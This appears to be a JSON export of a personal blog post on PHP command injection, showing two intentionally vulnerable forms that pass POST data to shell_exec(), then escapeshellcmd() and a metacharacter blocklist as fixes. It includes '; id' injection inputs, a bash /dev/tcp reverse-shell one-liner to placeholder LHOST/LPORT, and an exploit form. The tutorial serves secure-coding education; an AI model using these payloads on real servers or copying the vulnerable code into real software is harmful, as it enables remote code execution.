{"id":137,"date":"2021-05-15T04:00:01","date_gmt":"2021-05-15T04:00:01","guid":{"rendered":"https:\/\/johnlradford.io\/?p=137"},"modified":"2021-07-08T22:27:04","modified_gmt":"2021-07-08T22:27:04","slug":"basic-php-injection-and-protection","status":"publish","type":"post","link":"https:\/\/johnlradford.io\/blog\/2021\/05\/15\/basic-php-injection-and-protection\/","title":{"rendered":"Basic PHP Injection and Protection"},"content":{"rendered":"\n

So first off, I’m not a PHP developer and I don’t really know PHP all that well. But I have found ways to exploit my own PHP scripts and so I’d like to document that here. That’s all this is. Some basic PHP exploitation examples followed by the protection methods I’ve used to prevent my scripts from becoming a gateway for Remote Code Execution (RCE) and Remote Shells.<\/p>\n\n\n\n

Don’t use shell_exec(), system(), passthru(), or exec() in conjunction with forms <\/h2>\n\n\n\n

In general, if you’re using shell_exec()<\/em> then you’re probably doing it wrong. PHP has a lot of builtin tools that mimic the UNIX core utilities and you don’t need to reach out to the shell in order to compute md5 hashes or write to files. But if you’re going to use shell_exec()<\/em>, never let user input get onto the shell!<\/u> The following is an example of what happens if you do.<\/p>\n\n\n\n

Example One,<\/h2>\n\n\n\n

\\\/\\\/ !!Do Not Use!! \\\/\\\/<\/span><\/strong><\/h3>\n\n\n\n

badform.php<\/em> <\/p>\n\n\n\n

<!doctype html>\n<html>\n<head>\n  <title>Bad Form!<\/title>\n  <meta name=\"description\" content=\"Bad PHP Form\">\n  <meta name=\"keywords\" content=\"!!!For Testing Only!!!\">\n<\/head>\n\n<body>\n\t<form action=\"badform.php\" method=\"post\">\n\t\tName: <input type=\"text\" name=\"nombre\"><br>\n\t\t<input type=\"submit\">\n\t<\/form>\n\n<?php\n\tif ($_POST[\"nombre\"] != NULL){\n\t$name = $_POST[\"nombre\"];\n\t$output = shell_exec(\"echo $name >> name.log;echo $name\");\n\techo \"$output\";\n\t}\n?>\n<\/body>\n<\/html>\n<\/code><\/pre>\n\n\n\n
That form sucks. The problem is it takes user input right from the text box and runs it in a shell. With a little injection, the above form pretty much allows the website visitor to run anything they’d like on the web server (permissions permitting of course). 

We can demonstrate this by putting any command into the form prefixed by the ; <\/em>character.<\/p>\n\n\n\n
Input:<\/strong><\/p>\n\n\n\n
; id<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Output:<\/strong><\/p>\n\n\n\n
uid=1000(webguy1) gid=100(users) groups=100(users),(sudo),126(sambashare)<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
We can see what’s happening here if we evaluate the shell expression a little closer.<\/p>\n\n\n\n
We start with what’s inside of the shell_exec()<\/em>:<\/p>\n\n\n\n
echo $name >> name.log;echo $name<\/code><\/pre>\n\n\n\n
Which evaluates to the following when $name<\/em> is replaced with ; id<\/em><\/p>\n\n\n\n
echo ; id >> name.log;echo ; id<\/code><\/pre>\n\n\n\n
It should be clear now how the expression is evaluated by the shell. First echo<\/em> runs with no arguments, so does nothing. Then id<\/em> is run and its output is directed into name.log<\/em>. Then again echo<\/em> is run with no arguments. And finally id<\/em> is run again and its output is returned to the screen via PHP. If we check name.log<\/em> we’ll find the most recent line of the file is the output of id<\/em>.<\/p>\n\n\n\n
If we injected the following into the form we could use it to send ourselves a reverse shell<\/a>. <\/p>\n\n\n\n
; bash -c \"bash -i >& \/dev\/tcp\/LHOST\/LPORT 0>&1\"<\/code><\/pre>\n\n\n\n
Mitigation:<\/h2>\n\n\n\n
The most minimal way to protect your form from this is with the basic PHP sanitization function, escapeshellcmd()<\/a><\/em>. The addition of a single line makes our bad form just a little bit better.<\/p>\n\n\n\n
<?php\n        if ($_POST[\"nombre\"] != NULL){\n        $name = $_POST[\"nombre\"];\n        $name = escapeshellcmd($name);      \/\/ <-- Newly Added Line\n        $output = shell_exec(\"echo \\\"$name\\\" >> name.log;echo \\\"$name\\\"\");  \/\/ Escaped Quotes Around $Vars For Demonstration \n        echo \"$output\";\n        }   \n?>\n<\/code><\/pre>\n\n\n\n
We can place some escaped quotes around the $name<\/em> variable in PHP to see what the escapeshellcmd()<\/em> function is actually doing. <\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
It makes sure any of the common shell characters are prefixed with a \\<\/em> character so they’re not interpreted by the shell. <\/p>\n\n\n\n
Ideally, you’d employ additional sanitization on the input. And really ideally you’d never use shell_exec() <\/em>to take data from a form!<\/u> But I take it you’re already past that point now.<\/p>\n\n\n\n
<\/p>\n\n\n\n
Example 2,<\/h2>\n\n\n\n
Even forms that are not intended to take input directly from the user may be vulnerable if the submitted form data is passed to a shell_exec()<\/em>. As we’ve seen from the above example any input taken via a form that runs in a shell_exec() <\/em>is vulnerable to exploitation. See the following example second bad form below.<\/p>\n\n\n\n
\\\/\\\/ !!Do Not Use!! \\\/\\\/<\/span><\/strong><\/h3>\n\n\n\n
badform2.php<\/em><\/p>\n\n\n\n
<!doctype html>\n<html>\n<head>\n  <title>Bad Form 2!<\/title>\n  <meta name=\"description\" content=\"Second Bad PHP Form\">\n  <meta name=\"keywords\" content=\"!!!For Testing Only!!!\">\n<\/head>\n\n<body>\n\t<form action=\"badform2.php\" id=\"showform\" method=\"post\">\n  \t    <select name=\"show\" id=\"showform\">\n\t\t<option>30 Rock (2005)<\/option>\n\t\t<option>Adventure Time (2008)<\/option>\n\t\t<option>Black Mirror (2011)<\/option>\n\t\t<option>Chappelle's Show (2003)<\/option>\n\t\t<option><\/option> \n\t\t<\/select>\n            <input type=\"submit\" name=\"tv\" value=\"Submit Selected\">\n        <\/form>\n\n<?php\n\n\tif ($_POST[\"show\"]){\n\t\t$show = $_POST[\"show\"];\n\t\t$output = shell_exec(\"\/path\/to\/show_info.sh $show\");\n\t\techo \"<br>\\n$output\";\n\t}\n?>\n<\/body>\n<\/html><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
The above web page takes data from a preset list of inputs, so you might think its safe to use its input in a shell_exec()<\/em>. But you’d be wrong. Remember the PHP code in question just accepts a POST request and doesn’t care what’s inside of it. So we can copy some of the html from badform2.php into our own exploit form and use it to achieve RCE on the bad form’s web server. <\/p>\n\n\n\n
 exploitform.html,<\/em><\/p>\n\n\n\n
<!doctype html>\n<html>\n<head>\n<\/head>\n\t<form action=\"http:\/\/yoursite.com\/badform2.php\" id=\"showform\" method=\"post\">\n\t\t<input type=\"text\" name=\"show\" id=\"showform\">\n\t\t<input type=\"submit\" name=\"tv\" value=\"Submit Selected\">\n\t<\/form>\t\n<body>\n<\/body>\n<\/html><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Now we have the ability to input whatever data we’d like into the form. We can use the same trick as before with the ;<\/em> character to run our own commands on the web server through badform2.php<\/em>.<\/p>\n\n\n\n
Input:<\/strong><\/p>\n\n\n\n
; id<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Output:<\/strong><\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Mitigation:<\/h2>\n\n\n\n
Once again, even though the form was not supposed to be used to submit input in this way, PHP doesn’t care. It will take the data its given and run it on the shell. In this case you could and should use escapeshellcmd()<\/em> to prevent the interpretation of the shell characters. However, since the majority of the shell characters don’t appear in the tv show titles anyways we can also refuse to process anything further if we detect a bad char.<\/p>\n\n\n\n
Disclaimer: The following is my own shitty PHP solution. I’m sure there are better ways to do this, but hey it works. <\/p>\n\n\n\n
<?php\n\tif ($_POST[\"show\"] !== NULL){\n\t\t$show = $_POST[\"show\"];\n\t\t$hax_dossier = array(\";\", \">\", \"<\", \"#\", \"&\", \"\/\", \"~\", \"`\", \"$\", \"*\", \"\\\\\", \"|\", \"[\", \"]\", \"{\", \"}\");\n\n\t\tforeach($hax_dossier as $hax_implement){\n\t\t\tif (strpos($show, $hax_implement) !== false) {\n\t\t\t\texit(\"707 Hax Not Found\");\n\t\t        }\n\t        }\n\t\t\n\t        $sanatized_show = str_replace(\" \", \"\\\\ \", escapeshellcmd($show));\n\t        $output = shell_exec(\"\/path\/to\/show_info.sh $sanatized_show\");\n\t        echo \"<br>\\n$output\";\n\t}\n?><\/code><\/pre>\n\n\n\n
Once again, the real solution is to not use shell_exec()<\/em> with any data taken via a form. But if you have to do it, don’t put it on the public internet and make sure to sanitize your inputs. And as always try to hack your own creations and see if you can get in. Then see if you can patch it.<\/p>\n\n\n\n
Thank you for reading!<\/p>\n\n\n\n
John R.<\/p>\n\n\n\n
Ft. Red 7<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"
So first off, I’m not a PHP developer and I don’t really know PHP all that well. But I have found ways to exploit my own PHP scripts and soContinue readingBasic PHP Injection and Protection<\/span><\/a><\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-137","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/posts\/137","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/comments?post=137"}],"version-history":[{"count":41,"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/posts\/137\/revisions"}],"predecessor-version":[{"id":349,"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/posts\/137\/revisions\/349"}],"wp:attachment":[{"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/media?parent=137"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/categories?post=137"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/tags?post=137"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}